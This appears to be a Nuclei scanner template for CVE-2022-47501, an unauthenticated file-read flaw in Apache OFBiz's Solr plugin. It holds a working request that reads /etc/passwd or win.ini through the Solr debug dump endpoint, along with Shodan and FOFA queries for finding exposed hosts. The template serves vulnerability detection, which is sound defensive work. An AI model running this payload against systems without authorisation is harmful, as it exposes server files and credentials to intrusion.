id: CVE-2022-47501

info:
  name: Apache OFBiz < 18.12.07 - Local File Inclusion
  author: your3cho
  severity: high
  description: |
    Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a  pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server filesystem through the Solr plugin debug endpoint in Apache OFBiz, potentially accessing configuration files, credentials, and other sensitive system information.
  remediation: |
    Upgrade to Apache OFBiz version 18.12.07 or later to mitigate this local file inclusion vulnerability.
  reference:
    - https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc
    - http://www.openwall.com/lists/oss-security/2023/04/18/5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47501
    - http://www.openwall.com/lists/oss-security/2023/04/18/9
    - http://www.openwall.com/lists/oss-security/2023/04/19/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-47501
    cwe-id: CWE-22
    epss-score: 0.1018
    epss-percentile: 0.95066
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: ofbiz
    shodan-query:
      - "html:\"OFBiz\""
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - "app=\"Apache_OFBiz\""
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2022,apache,ofbiz,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"

    payloads:
      path:
        - /etc/passwd
        - c:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100dd3de09f61be5a3750ece859889400400a77154f5a25dd6b859eb18852cb0a0002210093ded079be2dbfb1c9f0dbee288b743a1da17a22e3ca24a1fd55268e2748cc2f:922c64590222798bb761d5b6d8e72950